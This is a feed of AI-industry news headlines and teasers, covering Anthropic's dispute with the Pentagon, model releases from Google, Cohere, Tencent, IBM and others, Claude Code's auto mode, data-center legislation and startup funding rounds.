Judge sides with Anthropic to temporarily block the Pentagon’s ban

After Anthropic's weeks-long standoff with the Pentagon, the company won one milestone: A judge granted Anthropic a preliminary injunction in its lawsuit, which sought to reverse its government blacklisting while the judicial process plays out. "The Department of War's records show that it designated Anthropic as a supply chain risk because of its 'hostile manner […]

You can now transfer your chats and personal information from other chatbots directly into Gemini

Google is launching "switching tools" that, just as it sounds, will make it easier for users of other chatbots to switch to Gemini.

David Sacks is no longer the White House AI and Crypto Czar

David Sacks, the venture capitalist and tech billionaire who'd become Silicon Valley's primary advocate inside the White House and a key architect of its aggressive AI policy initiatives, revealed on Thursday that he was no longer a special government employee - and therefore no longer President Donald Trump's Special Advisor on AI and Crypto. Sacks' […]

A Coding Implementation to Run Qwen3.5 Reasoning Models Distilled with Claude-Style Thinking Using GGUF and 4-Bit Quantization

In this tutorial, we work directly with Qwen3.5 models distilled with Claude-style reasoning and set up a Colab pipeline that lets us switch between a 27B GGUF variant and a lightweight 2B 4-bit version with a single flag. We start by validating GPU availability, then conditionally install either llama.cpp or transformers with bitsandbytes, depending on […] The post A Coding Implementation to Run Qwen3.5 Reasoning Models Distilled with Claude-Style Thinking Using GGUF and 4-Bit Quantizatio

[AINews] Everything is CLI

a quiet day lets us reflect on the growing trend of CLIs for ~everything~ agents

Wikipedia cracks down on the use of AI in article writing

The site, whose policies are subject to change, has struggled with the issue of AI-generated writing.

Google is making it easier to import another AI’s memory into Gemini

After Anthropic updated its tool for copying another AI's memory into Claude earlier this month, Google Gemini is rolling out new "Import Memory" and "Import Chat History" features on desktop that can help users quickly copy over everything their current AI already knows about them. To use the "Import Memory" tool, users copy and paste […]

Apple will reportedly allow other AI chatbots to plug into Siri

Apple's iOS 27 update will allow users to choose the AI chatbot they want to link with Siri. That's according to a report from Bloomberg's Mark Gurman, who says third-party chatbots downloaded from the App Store, like Google's Gemini or Anthropic's Claude, will be able to fetch replies for Siri - similar to how the […]

Liberate your OpenClaw

Apple’s AI Playlist Playground is bad at music

Apple Music: "What do you want to hear?" Me: "Atmospheric instrumental black metal to write to." Apple Music: "Here's three metal songs with vocals, a field recording, an ambient electronic track, and a piece of doom jazz." I am skeptical of AI's ability to serve up the music I want to begin with, but even […]

EU backs nude app ban and delays to landmark AI rules

European lawmakers have voted to delay key parts of the EU AI Act, the bloc's flagship law for regulating artificial intelligence, while also backing proposals to ban nudify apps. The measures, approved by a large majority in the European Parliament, would push back compliance deadlines for developers of high-risk AI systems - those deemed to […]

OpenAI shelves erotic chatbot ‘indefinitely’

OpenAI ​has paused plans to release a sexualized "adult mode" for ChatGPT, in its latest move to refocus on the company's core ​products. According to The Financial Times, the erotic chatbot has been shelved "indefinitely" after facing pushback from employees and investors due to the problematic and harmful ​effects sexualized AI ​content can have on […]

Arcee AI Releases Trinity Large Thinking: An Apache 2.0 Open Reasoning Model for Long-Horizon Agents and Tool Use

The landscape of open-source artificial intelligence has shifted from purely generative models toward systems capable of complex, multi-step reasoning. While proprietary ‘reasoning’ models have dominated the conversation, Arcee AI has released Trinity Large Thinking. This release is an open-weight reasoning model distributed under the Apache 2.0 license, positioning it as a transparent alternative for developers […] The post Arcee AI Releases Trinity Large Thinking: An Apache 2

Google’s ‘live’ AI search assistant can handle conversations in dozens more languages

Google is expanding access to Search Live, a feature that lets you search for information using your voice and camera. The AI search assistant is now available in more than 200 countries and territories, as well as dozens of languages, according to an announcement on Thursday. Search Live rolled out broadly in the US last […]

OpenAI abandons yet another side quest: ChatGPT’s erotic mode

It's only the latest of several side projects that the AI startup has ditched over the past week.

Data centers get ready — the Senate wants to see your power bills

Senators Josh Hawley and Elizabeth Warren want the Energy Information Administration to gather more details about how data centers use power — and how that affects the grid.

PSA: Anyone with a link can view your Granola notes by default

If you use the AI-powered note-taking app Granola, you might want to double-check your privacy settings. Though Granola says your notes are "private by default," it makes them viewable to anyone with a link, and also uses them for internal AI training unless you opt out. Granola describes itself as an "AI notepad for people […]

Meta gets ready to launch two new Ray-Ban AI glasses

This is Lowpass by Janko Roettgers, a newsletter on the ever-evolving intersection of tech and entertainment, syndicated just for The Verge subscribers once a week. Meta and its AI glasses hardware partner EssilorLuxottica are getting ready to launch the next generation of their Ray-Ban AI glasses. That's according to a series of FCC filings for […]

Defeating the ‘Token Tax’: How Google Gemma 4, NVIDIA, and OpenClaw are Revolutionizing Local Agentic AI: From RTX Desktops to DGX Spark

Run Google’s latest omni-capable open models faster on NVIDIA RTX AI PCs, from NVIDIA Jetson Orin Nano, GeForce RTX desktops to the new DGX Spark, to build personalized, always-on AI assistants like OpenClaw without paying a massive “token tax” for every action. The landscape of modern AI is shifting rapidly. We are moving away from […] The post Defeating the ‘Token Tax’: How Google Gemma 4, NVIDIA, and OpenClaw are Revolutionizing Local Agentic AI: From RTX Desktops to DGX Spa

ByteDance’s new AI video generation model, Dreamina Seedance 2.0, comes to CapCut

The new model in CapCut will have built-in protections for making video from real faces or unauthorized intellectual property.

Wikipedia bans AI-generated articles

Wikipedia will no longer allow editors to write or rewrite articles using AI. The update, which was added to Wikipedia's guidelines late last week, cites the tendency for AI-written articles to violate "several of Wikipedia's core content policies" as the reason for the ban. The change applies to the English version of Wikipedia and will […]

Cohere AI Releases Cohere Transcribe: A SOTA Automatic Speech Recognition (ASR) Model Powering Enterprise Speech Intelligence

In the landscape of enterprise AI, the bridge between unstructured audio and actionable text has often been a bottleneck of proprietary APIs and complex cascaded pipelines. Today, Cohere—a company traditionally known for its text-generation and embedding models—has officially stepped into the Automatic Speech Recognition (ASR) market with the release of their latest model ‘Cohere Transcribe‘. […] The post Cohere AI Releases Cohere Transcribe: A SOTA Automatic Speech Recognition

OpenAI acquires TBPN, the buzzy founder-led business talk show

TBPN, Silicon Valley's cult-favorite tech podcast, will operate independently, even as it's overseen by chief political operative Chris Lehane.

Senators are pushing to find out how much electricity data centers actually use

On Thursday, senators Elizabeth Warren (D-MA) and Josh Hawley (R-MO) sent a letter to the Energy Information Administration (EIA) asking it to collect "comprehensive, annual energy-use disclosures" on data centers and make that information publicly available, as first reported by Wired. They're urging the agency to "establish a mandatory annual reporting requirement for data centers," […]

Elon Musk is about to be a very busy boy!

To be honest, I thought Elon Musk would confidentially file for SpaceX's IPO on the 20th of this month, rather than the 1st. But maybe that just means he's moved on to other numbers, and we should all mark our calendars for June 7th as an IPO date just in case. Based on the April […]

Conntour raises $7M from General Catalyst, YC to build an AI search engine for security video systems

Conntour uses AI models to let security teams query camera feeds using natural language to find any object, person, or situation.

Cohere launches an open source voice model specifically for transcription

Relatively light at just 2 billion parameters, the model is meant for use with consumer-grade GPUs for those who want to self-host it. It currently supports 14 languages.

OpenAI just bought TBPN

OpenAI has purchased TBPN, an online talk show that often interviews AI executives and other tech leaders. The show goes live every weekday at 2PM PT, often for a three-hour duration, counting OpenAI CEO Sam Altman, as well as executives from Meta, Microsoft, Palantir, and Andreessen Horowitz, among its past guests, and Bloomberg, CNBC, and […]

Webtoon is adding AI localization tools to its comics platform

Canvas, Webtoon's platform for user-uploaded comics, is about to get a major overhaul that's designed to help creators make more money and share their art with a wider audience. Today, Webtoon announced its plans to roll out a number of new features for Canvas that will make it easier for artists to build global followings […]

Microsoft takes on AI rivals with three new foundational models

MAI released models that can transcribe voice into text as well as generate audio and images after the group's formation six months ago.

A ‘pound of flesh’ from data centers: one senator’s answer to AI job losses

Fears of AI-driven job loss are growing fast, and they’re fueling backlash against data centers. Sen. Mark Warner suggests taxing them to help workers survive the transition.

Mistral releases a new open source model for speech generation

The model, which lets enterprises build voice agents for sales and customer engagement, puts Mistral in direct competition with the likes of ElevenLabs, Deepgram, and OpenAI.

Google now lets you direct avatars through prompts in its Vids app

Google is adding a way to customize and instruct avatars for video creation in the Vids app.

It’s not easy to get depression-detecting AI through the FDA

For the past seven years, the California-based startup Kintsugi has been developing AI designed to detect signs of depression and anxiety from a person's speech. But after failing to secure FDA clearance in time, the company is shutting down and releasing most of its technology as open-source. Some elements may even find a second life […]

Mark Zuckerberg and Jensen Huang are part of Trump’s new ‘tech panel’

Meta CEO Mark Zuckerberg, Oracle CTO and executive chairman Larry Ellison, Nvidia CEO Jensen Huang, and Google cofounder Sergey Brin will be the first four members of the President's Council of Advisors on Science and Technology (PCAST), according to the Wall Street Journal. The panel, which will "weigh in on AI policy," will include 13 […]

Microsoft’s new ‘superintelligence’ game plan is all about business

Mustafa Suleyman has been preparing for his new job description for a long time. Suleyman is Microsoft's inaugural CEO of AI, but after the company underwent a large-scale restructuring in mid-March, he's handed off some duties and shifted focus to chasing superintelligence. Though the news was only made public last month, he tells The Verge, […]

Google Home’s latest update makes Gemini better at understanding your commands

Google is launching another update to its Home app, which is supposed to make controlling your smart home with its Gemini AI assistant "more natural and reliable," according to this week's release notes. With the update, you can describe the type of lighting you want, such as "the color of the ocean," and Gemini will […]

Tencent AI Open Sources Covo-Audio: A 7B Speech Language Model and Inference Pipeline for Real-Time Audio Conversations and Reasoning

Tencent AI Lab has released Covo-Audio, a 7B-parameter end-to-end Large Audio Language Model (LALM). The model is designed to unify speech processing and language intelligence by directly processing continuous audio inputs and generating audio outputs within a single architecture. System Architecture The Covo-Audio framework consists of four primary components designed for seamless cross-modal interaction: Hierarchical […] The post Tencent AI Open Sources Covo-Audio: A 7B Speech Language M

Anthropic’s Claude Code gets ‘safer’ auto mode

Anthropic has launched an "auto mode" for Claude Code, a new tool that lets AI make permissions-level decisions on users' behalf. The company says the feature offers vibe coders a safer alternative between constant handholding or giving the model dangerous levels of autonomy. Claude Code is capable of acting independently on users' behalf, a useful […]

[AINews] The Biggest Claude Launch of All Time

We thought about this carefully before choosing hyperbole; but it is warranted.

Doss raises $55M for AI inventory management that plugs into ERP

Doss's AI-powered inventory management system integrates with existing ERP systems. The Series B round was co-led by Madrona and Premji Invest.

Meet the former Apple designer building a new AI interface at Hark

The company said it would design models, hardware, and interfaces in tandem to deliver a "seamless end-to-end personal intelligence product."

Reddit accounts with ‘fishy’ bot-like behavior will soon need to prove they’re human

Reddit is taking new steps to identify bots on the platform - a process that may require some users to confirm that they're human. In a post on Wednesday, Reddit CEO Steve Huffman writes that the company will introduce a labeling system for accounts registered as bots, and ask users with "automated" or "fishy behavior" […]

Google Lyria 3 Pro makes longer AI songs

Google is expanding the capabilities of its Lyria 3 music-making AI, enabling it to create tracks up to three minutes long and from within multiple other Google Products. Until now, Lyria had been limited to 30-second clips. Lyria 3 Pro not only increases the maximum length sixfold, it also allows the user to prompt for […]

Meta is laying off hundreds of employees as it pours money into AI

Meta is laying off hundreds of employees across its company, according to reports from The New York Times, NBC News, and The Information. The job cuts impact workers on Meta's recruiting, social media, and sales teams, along with Reality Labs, the division that develops the company's smart glasses and virtual reality headsets. "Teams across Meta […]

Littlebird raises $11M for its AI-assisted ‘recall’ tool that reads your computer screen

Littlebird is building an AI that reads your screen in real time to capture context, answer questions, and automate tasks, without relying on screenshots.

Senate Democrats are trying to ‘codify’ Anthropic’s red lines on autonomous weapons and mass surveillance

Anthropic's fight with the Pentagon is expanding to Congress. Sen. Adam Schiff (D-CA) is working on a new bill to "codify" Anthropic's red lines and ensure humans make the ultimate decisions in questions of life and death, and Sen. Elissa Slotkin (D-MI) recently introduced a bill to limit the Defense Department's ability to use AI […]

Arm is releasing the first in-house chip in its 35-year history

Arm is producing its own CPU for the first time. It developed the CPU with Meta, which is also the chip's first customer.

Disney’s big bets on the metaverse and AI slop aren’t going so well

Less than a week into his tenure as Disney's newly appointed CEO, Josh D'Amaro, is already dealing with two separate crises that have cast a shadow over the company's future plans. OpenAI is shutting down its Sora image-generation program just months after Disney announced a $1 billion dollar collaboration to bake the tech into Disney […]

Elizabeth Warren calls Pentagon’s decision to bar Anthropic ‘retaliation’

In a letter to Defense Secretary Pete Hegseth, Senator Elizabeth Warren (D-MA) equated the DOD's decision to label Anthropic a "supply-chain risk" as retaliation, arguing that the Pentagon could simply have terminated its contract with the AI lab.

OpenAI’s plans to make ChatGPT more like Amazon aren’t going so well

OpenAI says it's moving away from Instant Checkout, which allowed users to buy items directly through the ChatGPT interface.

Sam Altman-backed fusion startup Helion in talks to sell power to OpenAI

OpenAI CEO Sam Altman is stepping down as board chair of Helion. His departure comes as reports that the two companies are negotiating a deal that would see Helion sell 12.5% of its power output to OpenAI.

Google TV’s new Gemini features keep fans updated on sports teams and more

Three Gemini-powered features are coming to your Google TV. This includes visual responses, deep dives, and sports briefs.

OpenAI adds open source tools to help developers build for teen safety

Rather than working from scratch to figure out how to make AI safer for teens, developers can use these policies to fortify what they build.

Talat’s AI meeting notes stay on your machine, not in the cloud

The subscription-free AI meeting notes app is a local-first twist on notetaking tools like Granola.

The least surprising chapter of the Manus story is what’s happening right now

Did anyone think there would not be a reckoning over this tie-up?

Mirage raises $75M to continue building models for its AI video-editing app Captions

Mirage, the maker of video-editing app Captions, has raised $75 million in growth financing from General Catalyst's Customer Value Fund (CVF).

Can you monitor a situation without monitors? The Polymarket sports bar tried

Hello and welcome to Regulator, a newsletter for Verge readers who are political junkies, and Washington insiders hooked on technology. If this email has been forwarded to you but you're not a subscriber, sign up here so you can get that pure, uncut Regulator every Wednesday, straight from the source (aka me). I was taking […]

Agile Robots becomes the latest robotics company to partner with Google DeepMind

Agile Robots will incorporate Google DeepMind's robotics foundation models into its bots while collecting data for the AI research lab.

ChatGPT and Gemini are fighting to be the AI bot that sells you stuff

The AI-powered shopping rivalry is heating up as Google and OpenAI launch new features to help you buy things while interacting with their chatbots. Now, Google is teaming up with Gap Inc to allow its Gemini AI assistant to purchase clothes on your behalf from any of its stores, which include Gap, Old Navy, Banana […]

IBM Releases Granite 4.0 3B Vision: A New Vision Language Model for Enterprise Grade Document Data Extraction

IBM has announced the release of Granite 4.0 3B Vision, a vision-language model (VLM) engineered specifically for enterprise-grade document data extraction. Departing from the monolithic approach of larger multimodal models, the 4.0 Vision release is architected as a specialized adapter designed to bring high-fidelity visual reasoning to the Granite 4.0 Micro language backbone. This release […] The post IBM Releases Granite 4.0 3B Vision: A New Vision Language Model for Enterprise Grade Do

How to Build Production Ready AgentScope Workflows with ReAct Agents, Custom Tools, Multi-Agent Debate, Structured Output and Concurrent Pipelines

In this tutorial, we build a complete AgentScope workflow from the ground up and run everything in Colab. We start by wiring OpenAI through AgentScope and validating a basic model call to understand how messages and responses are handled. From there, we define custom tool functions, register them in a toolkit, and inspect the auto-generated […] The post How to Build Production Ready AgentScope Workflows with ReAct Agents, Custom Tools, Multi-Agent Debate, Structured Output and Concurrent P

Mercor competitor Deccan AI raises $25M, sources experts from India

Deccan AI concentrates its workforce in India to manage quality in a fast-growing but fragmented AI training market.

Lucid Bots raises $20M to keep up with demand for its window-washing drones

Lucid Bots has seen demand accelerate over the last year for its window-cleaning drones and power-washing robots.

How to Build a Vision-Guided Web AI Agent with MolmoWeb-4B Using Multimodal Reasoning and Action Prediction

In this tutorial, we explore MolmoWeb, Ai2’s open multimodal web agent that understands and interacts with websites directly from screenshots, without relying on HTML or DOM parsing. We set up the full environment in Colab, load the MolmoWeb-4B model with efficient 4-bit quantization, and build the exact prompting workflow that lets the model reason about […] The post How to Build a Vision-Guided Web AI Agent with MolmoWeb-4B Using Multimodal Reasoning and Action Prediction appeared first

Meta launches new initiative to support entrepreneurship, drive AI adoption

Meta CEO Mark Zuckerberg said in a memo to staff that small businesses have always been a big part of the company's business model, and that while tens of millions of entrepreneurs already use its platforms to grow and connect with customers, the company wants to do more in the space.

Meta turns to AI to make shopping easier on Instagram and Facebook

Meta is using generative AI to provide more product and brand information to consumers when they're shopping in its apps.

Anthropic’s Claude Code and Cowork can control your computer

Anthropic has updated Claude to perform tasks in its Code and Cowork AI tools autonomously by using your computer for you. The new feature can be used to automatically open files, use web browsers and apps, and run dev tools "with no setup required," even when you're away from your computer, according to Anthropic's announcement. […]

The AI skills gap is here, says AI company, and power users are pulling ahead

Anthropic finds AI isn’t replacing jobs yet, but early data shows growing inequality as experienced users gain an edge, raising concerns about future displacement and workforce divides.

With Sift, two ex-SpaceX engineers are bringing the software that helped launch rockets to the factory floor

Sift is building the data infrastructure for advanced manufacturing.

Google unveils TurboQuant, a new AI memory compression algorithm — and yes, the internet is calling it ‘Pied Piper’

Google’s TurboQuant has the internet joking about Pied Piper from HBO's "Silicon Valley." The compression algorithm promises to shrink AI’s “working memory” by up to 6x, but it’s still just a lab experiment for now.

Melania Trump wants a robot to homeschool your child

The first lady sees AI and robotics playing a prominent role in the future of American education.

Vibe-coding startup Lovable is on the hunt for acquisitions

Lovable's founder said the fast-growing vibe-coding startup is looking for startups and teams to join its company.

Inside our approach to the Model Spec

Learn how OpenAI’s Model Spec serves as a public framework for model behavior, balancing safety, user freedom, and accountability as AI systems advance.

Apple sets June date for WWDC 2026, teasing ‘AI advancements’

Apple will host its next Worldwide Developers Conference the week of June 8. The company is expected to announce major updates to Siri with advanced AI capabilities.

Z.ai Launches GLM-5V-Turbo: A Native Multimodal Vision Coding Model Optimized for OpenClaw and High-Capacity Agentic Engineering Workflows Everywhere

In the field of vision-language models (VLMs), the ability to bridge the gap between visual perception and logical code execution has traditionally faced a performance trade-off. Many models excel at describing an image but struggle to translate that visual information into the rigorous syntax required for software engineering. Zhipu AI’s (Z.ai) GLM-5V-Turbo is a vision […] The post Z.ai Launches GLM-5V-Turbo: A Native Multimodal Vision Coding Model Optimized for OpenClaw and High-Ca

Kentucky woman rejects $26M offer to turn her farm into a data center

A "major artificial intelligence company" reportedly offered a Kentucky family $26 million to build a data center on their farm.

Anthropic took down thousands of GitHub repos trying to yank its leaked source code — a move the company says was an accident

Anthropic executives said it was an accident and retracted the bulk of the takedown notices.

Bernie Sanders and AOC propose a ban on data center construction

Senator Bernie Sanders and Rep. Alexandria Ocasio-Cortez introduced companion legislation to halt construction on new data centers until Congress passes comprehensive AI regulation.

OpenAI just gave up on Sora and its billion-dollar Disney deal

On Tuesday afternoon, OpenAI announced "We're saying goodbye to Sora," the video generation tool that it launched at the end of 2024, and centered in a massive licensing deal with Disney only a few months ago. The Wall Street Journal reported the move earlier, saying that OpenAI boss Sam Altman had informed staff that both […]

Google launches Lyria 3 Pro music generation model

Google is launching Lyria 3 Pro, an upgraded music model that generates longer, more customizable tracks, as it expands AI music tools across Gemini, enterprise products, and other services.

Spotify tests new tool to stop AI slop from being attributed to real artists

The idea behind the new tool is to give artists more control over which tracks are associated with their name on Spotify.

Anthropic hands Claude Code more control, but keeps it on a leash

Anthropic’s new auto mode for Claude Code lets AI execute tasks with fewer approvals, reflecting a broader shift toward more autonomous tools that balance speed with safety through built-in safeguards.

Startup Gimlet Labs is solving the AI inference bottleneck in a surprisingly elegant way

Gimlet Labs just raised an $80 million Series A for tech that lets AI run across NVIDIA, AMD, Intel, ARM, Cerebras and d-Matrix chips, simultaneously.

Arm’s first CPU ever will plug into Meta’s AI data centers later this year

After decades of only licensing its chip designs for others to use, UK-based Arm revealed the first chip it's producing on its own, and the first customer. Dubbed the Arm AGI CPU, it's another chip designed for inference, or running the cloud processing for AI tools like AI agents that can continue to spawn more […]

[AINews] Apple's War on Slop

a quiet day lets us reflect on the End of Sora, LiteLLM, AI2, and other not so happy news.

Databricks bought two startups to underpin its new AI security product

With an overflowing war chest from its recent $5 billion raise, Databricks is buying startups and looking for more. It acquired Antimatter and SiftD.ai.

Reddit takes on the bots with new ‘human verification’ requirements for fishy behavior

Reddit will require suspected automated accounts to verify they’re human, as it ramps up efforts to curb bot-driven spam and manipulation.

Harvey confirms $11B valuation: Sequoia triples down

Investors like Sequoia, Andreessen Horowitz, Kleiner Perkins, and Elad Gil can't get enough of AI legal tech startup Harvey.

Granola raises $125M, hits $1.5B valuation as it expands from meeting notetaker to enterprise AI app

Granola's valuation jumped from $250 million to $1.5 billion with this round, and it has added more support for AI agents after users previously complained.

With $3.5B in fresh capital, Kleiner Perkins is going all in on AI

The fundraise includes $1 billion for investing in early-stage startups and $2.5 billion for late-stage growth businesses.